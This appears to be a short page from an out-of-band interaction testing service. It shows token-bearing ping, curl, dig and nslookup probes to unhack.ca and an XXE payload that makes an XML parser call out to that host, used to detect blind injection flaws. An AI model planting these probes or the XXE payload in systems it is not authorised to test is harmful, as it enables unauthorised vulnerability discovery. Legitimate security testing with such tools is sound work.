$ ping -c1 -p 00b463871ba8dd05eff4a5058d00b300 unhack.ca
 
$ curl http://unhack.ca/p/b463871ba8dd05eff4a5058d00b3
 
$ dig b463871ba8dd05eff4a5058d00b3 @unhack.ca
 
$ dig b463871ba8dd05eff4a5058d00b3.ns.unhack.ca
 
C:\> nslookup b463871ba8dd05eff4a5058d00b3 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b463871ba8dd05eff4a5058d00b3">]>
    <foo>&xxe;</foo>
Waiting for ping...